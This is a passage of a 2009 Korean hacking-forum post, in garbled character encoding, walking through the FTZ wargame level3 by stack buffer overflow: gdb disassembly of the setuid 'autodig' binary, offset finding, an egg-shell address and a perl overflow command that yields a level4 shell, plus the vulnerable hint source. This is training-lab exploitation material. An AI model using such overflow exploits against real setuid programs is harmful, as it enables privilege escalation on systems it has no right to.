1581, 19/80 ȸ¿ø°¡ÀÔ  ·Î±×ÀΠ 
   trynerr
   [ÀÚÀÛ] level3 BOF·Î Ç®¾îº¸±â!!

http://www.hackerschool.org/HS_Boards/zboard.php?id=Free_Lectures&no=1237 [º¹»ç]


[level3@ftz level3]$ gdb -q autodig
(gdb) disas main
Dump of assembler code for function main:
0x08048510 <main+0>:    push   %ebp
0x08048511 <main+1>:    mov    %esp,%ebp
0x08048513 <main+3>:    sub    $0x78,%esp
0x08048516 <main+6>:    cmpl   $0x2,0x8(%ebp)
0x0804851a <main+10>:   je     0x804854c <main+60>
0x0804851c <main+12>:   sub    $0xc,%esp
0x0804851f <main+15>:   push   $0x8048628
0x08048524 <main+20>:   call   0x80483cc <printf>
0x08048529 <main+25>:   add    $0x10,%esp
0x0804852c <main+28>:   sub    $0x8,%esp
0x0804852f <main+31>:   mov    0xc(%ebp),%eax
0x08048532 <main+34>:   pushl  (%eax)
0x08048534 <main+36>:   push   $0x8048641
0x08048539 <main+41>:   call   0x80483cc <printf>
0x0804853e <main+46>:   add    $0x10,%esp
0x08048541 <main+49>:   sub    $0xc,%esp
0x08048544 <main+52>:   push   $0x0
0x08048546 <main+54>:   call   0x80483ec <exit>
0x0804854b <main+59>:   nop    
0x0804854c <main+60>:   sub    $0x8,%esp
0x0804854f <main+63>:   push   $0x8048652
0x08048554 <main+68>:   lea    0xffffff88(%ebp),%eax
0x08048557 <main+71>:   push   %eax
0x08048558 <main+72>:   call   0x80483fc <strcpy>
0x0804855d <main+77>:   add    $0x10,%esp
0x08048560 <main+80>:   sub    $0x8,%esp
0x08048563 <main+83>:   mov    0xc(%ebp),%eax
0x08048566 <main+86>:   add    $0x4,%eax
0x08048569 <main+89>:   pushl  (%eax)
0x0804856b <main+91>:   lea    0xffffff88(%ebp),%eax
0x0804856e <main+94>:   push   %eax
0x0804856f <main+95>:   call   0x80483bc <strcat>
0x08048574 <main+100>:  add    $0x10,%esp
0x08048577 <main+103>:  sub    $0x8,%esp
0x0804857a <main+106>:  push   $0x8048658
0x0804857f <main+111>:  lea    0xffffff88(%ebp),%eax
0x08048582 <main+114>:  push   %eax
0x08048583 <main+115>:  call   0x80483bc <strcat>
---Type <return> to continue, or q <return> to quit---
0x08048588 <main+120>:  add    $0x10,%esp
0x0804858b <main+123>:  sub    $0x8,%esp
0x0804858e <main+126>:  push   $0xbbc
0x08048593 <main+131>:  push   $0xbbc
0x08048598 <main+136>:  call   0x80483dc <setreuid>
0x0804859d <main+141>:  add    $0x10,%esp
0x080485a0 <main+144>:  sub    $0xc,%esp
0x080485a3 <main+147>:  lea    0xffffff88(%ebp),%eax
0x080485a6 <main+150>:  push   %eax
0x080485a7 <main+151>:  call   0x804838c <system>
0x080485ac <main+156>:  add    $0x10,%esp
0x080485af <main+159>:  leave  
0x080485b0 <main+160>:  ret    
0x080485b1 <main+161>:  lea    0x0(%esi),%esi
0x080485b4 <main+164>:  nop    
0x080485b5 <main+165>:  nop    
0x080485b6 <main+166>:  nop    
0x080485b7 <main+167>:  nop    
0x080485b8 <main+168>:  nop    
0x080485b9 <main+169>:  nop    
0x080485ba <main+170>:  nop    
0x080485bb <main+171>:  nop    
0x080485bc <main+172>:  nop    
0x080485bd <main+173>:  nop    
0x080485be <main+174>:  nop    
0x080485bf <main+175>:  nop    
End of assembler dump.

º¸½Ã¸é ¾Æ½Ã°ÚÁö¸¸
0x0804856b <main+91>:   lea    0xffffff88(%ebp),%eax
0x0804856e <main+94>:   push   %eax
0x0804856f <main+95>:   call   0x80483bc <strcat>
ebp-78ºÎºÐ¿¡ ºÎÅÍ ¾²±â ½ÃÀÛÇϳ׿ä...

(gdb) break *main+100
Breakpoint 1 at 0x8048574
(gdb) r `perl -e 'print "A"x1024'`
Starting program: /bin/autodig `perl -e 'print "A"x1024'`

Breakpoint 1, 0x08048574 in main ()
(gdb) x/100wx $esp
0xbffff6d0:     0xbffff6e0      0xbffff899      0x4002bdbd      0x40024a88
0xbffff6e0:     0x20676964      0x41414140      0x41414141      0x41414141
0xbffff6f0:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff700:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff710:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff720:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff730:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff740:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff750:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff760:     0x41414141      0x41414141      0x41414141      0x41414141
...
(gdb) info regi ebp
ebp            0xbffff758       0xbffff758
(gdb)

return address°¡ 0xbffff75c³×¿ä...
°ªµéÀ» Á¦´ë·Î ³Ö¾îº¸ÁÒ...

(gdb) r `perl -e 'print "A"x120'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /bin/autodig `perl -e 'print "A"x120'`

Breakpoint 1, 0x08048574 in main ()
(gdb) x/100wx $esp
0xbffffa50:     0xbffffa60      0xbffffc21      0x4002bdbd      0x40024a88
0xbffffa60:     0x20676964      0x41414140      0x41414141      0x41414141
0xbffffa70:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffa80:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffa90:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffaa0:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffab0:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffac0:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffad0:     0x41414141      0x41414141      0x41414141      0x40030041
0xbffffae0:     0x00000002      0xbffffb24      0xbffffb30      0x4001582c
0xbffffaf0:     0x00000002      0x08048670      0x00000000      0x08048431
0xbffffb00:     0x08048510      0x00000002      0xbffffb24      0x08048354
0xbffffb10:     0x08048600      0x4000c660      0xbffffb1c      0x08048410
0xbffffb20:     0x00000002      0xbffffc14      0xbffffc21      0x00000000
0xbffffb30:     0xbffffc9a      0xbffffcb5      0xbffffcd3      0xbffffcde
0xbffffb40:     0xbffffcee      0xbffffcfc      0xbffffd08      0xbffffecb
0xbffffb50:     0xbfffff0d      0xbfffff29      0xbfffff3a      0xbfffff4f
0xbffffb60:     0xbfffff60      0xbfffff71      0xbfffff83      0xbfffff8b
0xbffffb70:     0xbfffffa9      0xbfffffb8      0xbfffffda      0x00000000
0xbffffb80:     0x00000010      0x0febfbff      0x00000006      0x00001000
0xbffffb90:     0x00000011      0x00000064      0x00000003      0x08048034
0xbffffba0:     0x00000004      0x00000020      0x00000005      0x00000006
0xbffffbb0:     0x00000007      0x40000000      0x00000008      0x00000000
0xbffffbc0:     0x00000009      0x08048670      0x0000000b      0x00000bbb
0xbffffbd0:     0x0000000c      0x00000bbb      0x0000000d      0x00000bbb
(gdb) info regi ebp
ebp            0xbffffad8       0xbffffad8
(gdb) x/s 0xbffffa60
0xbffffa60:      "dig @", 'A' <repeats 120 times>
(gdb)
¾Õ¿¡ dig @ <- 5byte¸¦ »ç¿ëÇßÀ¸´Ï
Á¤È®ÇÏ°Ô´Â A¸¦ 120°³ ³Ö¾îµÎ´Â°ÍÀÌ ¾Æ´Ï°í 119°³¸¦ ³Ö¾îµÎ¾î¾ßÇϰڳ׿ä.

A¸¦ 119°³ ³Ö¾îµÎ°í µÚ¿¡ 4byte´Â ¿øÇÏ´Â egg shellÀ§Ä¡¿¡ ³Ö¾îµÎ¸é Á¤È®È÷ overflow ¼º°øÇϰڳ׿ä...
¸¶Áö¸· strcatµÇ´Â ºÎºÐÀº return Address µÚ·Î ¾²°Ô µÇ´Ï±î »ý°¢ÇÒ ÇÊ¿ä°¡ ¾øÀ»°Í °°³×¿ä.

ÀÚ ±×·³ Çغ¾½Ã´Ù.

[level3@ftz tmp]$ ls -al
total 12
drwxrwxr-x    2 root     level3       4096 Aug  4 09:23 .
drwxr-xr-x    4 root     level3       4096 May  7  2002 ..
-rw-rw-r--    1 level3   level3       1000 Aug  4 09:23 egg.c
[level3@ftz tmp]$ gcc -o egg egg.c
[level3@ftz tmp]$ ./egg
esp : 0xbffffb18
sh-2.05b$

Egg ShellÀ» ¶ç¾î³õ°í... °ø°ÝÀ» Çغ¾½Ã´Ù.

sh-2.05b$ autodig `perl -e 'print "A"x119,"\x18\xfb\xff\xbf"'`
dig: Couldn't find server 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAuy¢¯': Name or service not known
sh-2.05b$ id
uid=3004(level4) gid=3003(level3) groups=3003(level3)
sh-2.05b$

hint ÆÄÀÏ¿¡¼­ Äڵ带 ¼ÓÀÎ°Ô Àֳ׿ä...
0x08048598 <main+136>:  call   0x80483dc <setreuid>
¹®¸í ÀÌ Äڵ尡 autodig ÇÁ·Î±×·¥ ¼Ó¿¡ µé¾î°¡Àִµ¥.
½ÇÁ¦ hint ÆÄÀÏ¿£ ±× ÇÔ¼ö ¼±¾ðÀÌ µÇ¾îÀÖÁö ¾Ê³×¿ä...

[level3@ftz level3]$ cat hint

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main(int argc, char **argv){

    char cmd[100];

    if( argc!=2 ){
        printf( "Auto Digger Version 0.9\n" );
        printf( "Usage : %s host\n", argv[0] );
        exit(0);
    }

    strcpy( cmd, "dig @" );
    strcat( cmd, argv[1] );
    strcat( cmd, " version.bind chaos txt");

    system( cmd );

}

[level3@ftz level3]$

½ÇÁ¦·Î Àú ÄÚµå·Î µ¹·ÈÀ»°æ¿ì¿£ level4ÀÇ ±ÇÇÑÀ» ȹµæÇÏÁö ¸øÇÕ´Ï´Ù.
setreuidÇÔ¼ö°¡ ½ÇÇàµÇ¾î¾ß¸¸ ȹµæÇÒ¼ö ÀÖ½À´Ï´Ù.
±×·¡¼­ Àú´Â hintÆÄÀϸ¸ º¸°í setreuid¸¦ ½©Äڵ忡 ³Ö°í µ¹·Áµµ °¡´ÉÇϸ®¶ó ¿¹»óÇß´ø°ÍÀε¥..
gdb·Î ±Ü¾îº¸´Ï ½ÇÁ¦·Î´Â setreuidÇÔ¼ö°¡ Äڵ忡 Æ÷ÇԵǾî ÀÖ¾ú³×¿ä.

±×·³ ¼ö°íÇϼ¼¿ä...

  Hit : 8686     Date : 2009/08/04 09:28



    
CodeAche °³ÀÎÀûÀ¸·Î gdb·Î ¾î¶»°Ô ºÐ¼®ÇؾßÇÏ´ÂÁö ¸ô¶ó¼­..Á» ÇÊ¿äÇÑ ´É·Â°°¾Æ ¿©·¯°¡Áö °Ë»öµµ Çغ¸°í ¾î¼À°øºÎµµ Çغ¸°íÇߴµ¥ .. ±¦ÂúÀº ¹®¼­¾ø³ª¿ä?
¸®´ª½º»ó¿¡¼­ gdb »ç¿ëÇÏ´Â ºÐ¼®¹ý¿¡ °ü·ÃµÈ ¹®¼­°¡ Àß ¾Èº¸À̳׿ä.
2009/08/04  
trynerr ´Ù¸¥¹®¼­´Â Àß¸ð¸£°Ú°í ¿Í¿ìÇØÄ¿ ´Þ°í³ª´Ô²²¼­ ¾²½Å BOF¹®¼­¸¦ ÃßõÇÕ´Ï´Ù.
Àúµµ ±×°Í°¡Áö°í °øºÎÇß¾ú´Âµ¥ Á¤¸» ÀÚ¼¼ÇÏ°í Ä£ÀýÇÏ°Ô ¼³¸íÇØÁֽŠ¹®¼­¶ø´Ï´Ù.
±× ¹®¼­¿¡¼­ gdb ºÐ¼®ÇÏ´Â ºÎºÐµµ ¼³¸íÇØÁֽôµ¥ ±×°Í¸¸ °¡Áö°íµµ ÃæºÐÈ÷ BOFºÐ¼®ÀÌ °¡´ÉÇÑ°Í °°½À´Ï´Ù.
2009/08/04  
CodeAche °¨»çÇÕ´Ï´Ù ´Þ°í³ª´ÔÀÌ ¾²½ÅBOF¹®¼­ Âü ÁÁ±º¿ä..
¿¹ÀüºÎÅÍ ÀÌ·±°É ã¾Ò´Âµ¥..¿Ö ³» ´«¿£ ¾È¶ç¾úÁö 05³âµµ¿¡ ¸¸µç¹®¼±µ¥;;
Å« µµ¿òµÆ½À´Ï´Ù~
2009/08/05  
dkdkfjgh ·¹º§3ºÎÅÍ bof·Î Ç®¸é ¤»¤»¤»

¹ÌÄ¡°Ú´Ù,
2009/08/18  
1221   CodeEngn 1~20¹ø Ç®ÀÌ[3]     gh0st
01/07 7543
1220   °Ô½ÃÆÇÀÌ ¿À·ùÀΰ¡¿ä?[1]     siwall27
01/04 7495
1219   ¼­¿ï, °æ±â ÇØÅ· ½ºÅ͵ð¿ø ¸ðÁýÇÕ´Ï´Ù.[5]     Angeldust12
11/19 8981
1218   MinjuneLÀÇ JSP °­ÀÇ 3 - JSPÀÇ µðÆúÆ® °´Ã¼     tlsdmq12
11/18 7474
1217   MinjuneLÀÇ JSP °­ÀÇ 2 - JSP ÆäÀÌÁöÀÇ ±¸¼º     tlsdmq12
11/18 8060
1216   MinjuneLÀÇ JSP °­ÀÇ 1 - JSP ¼Ò°³     tlsdmq12
11/18 7960
1215   ¾È³çÇϼ¼¿ä. ·¹º§µµ ¿Ã¸±°â ¿À´ÃºÎÅÍ Á¦ ºí·Î±×¿¡ ¿Ã¸° JSP °­ÀǸ¦ ¿Ã¸®·Á°í ÇÕ´Ï´Ù. ¹®Á¦½Ã ¸»¾¸ºÎŹµå·Á¿ä - MinjuneL     tlsdmq12
11/18 7817
1214   sdsdfdfgfh[4]     witched14
11/06 37696
1213   ³×Æ®¿öÅ© ÇØÅ· ½ºÅ͵ð ÇϽǺРã¾Æ¿©[6]     kiriro
11/04 39114
1212   bufffer over flow [BOF] test     ÇØÄ¿ Hades
10/24 38890
1211   ³×Æ®¿öÅ© ±âº»¿ë¾î[7]     chlckdghsla
10/14 45337
1210   ¸®´ª½º ±âº»¸í·É¾î~[6]     chlckdghsla
10/14 54121
1209   net send°¡ ¾ÈµÇ¿ä[2]     dldvk9999
10/11 38493
1208   ¾Æ±Û±¸¿ä[3]     dldvk9999
10/11 38313
1207   ¸· °£Áö³ª°Ô ÇØÅ·ÇÏ°í½Í¾î¿ä[14]     dldvk9999
10/11 41023
1206   [Á¤º¸] ÄÄÇ»ÅÍ ÀÚ°ÝÁõ ±âÃâ¹®Á¦ ¸ðÀ½ ÇÁ·Î±×·¥[5]     inwoox
09/26 40181
1205   Ç÷¡½¬¸¦ ÀÌ¿ëÇÑ xss ÇØÅ·[3]     4irjuno
09/23 41455
1204   ¹éÆ®·¢5 »ç¿ë¹ý/ÀÚ¼¼È÷Á» ¾Ë·ÁÁÖ¼¼¿ä[3]     cswcys
09/20 43385
1203   [CTF] ³»°¡ ´©±ºÁö ¾Æ´Ï?     4irjuno
09/09 40042
1202   [CTF] ½´ÆðÔÀÓÀÌ Á¶¾Æ¿ä.     4irjuno
09/09 40366
[1]..[11][12][13][14][15][16][17][18] 19 [20]..[80]

Copyright 1999-2024 Zeroboard / skin by Hackerschool.org / Secure Patch by Hackerschool.org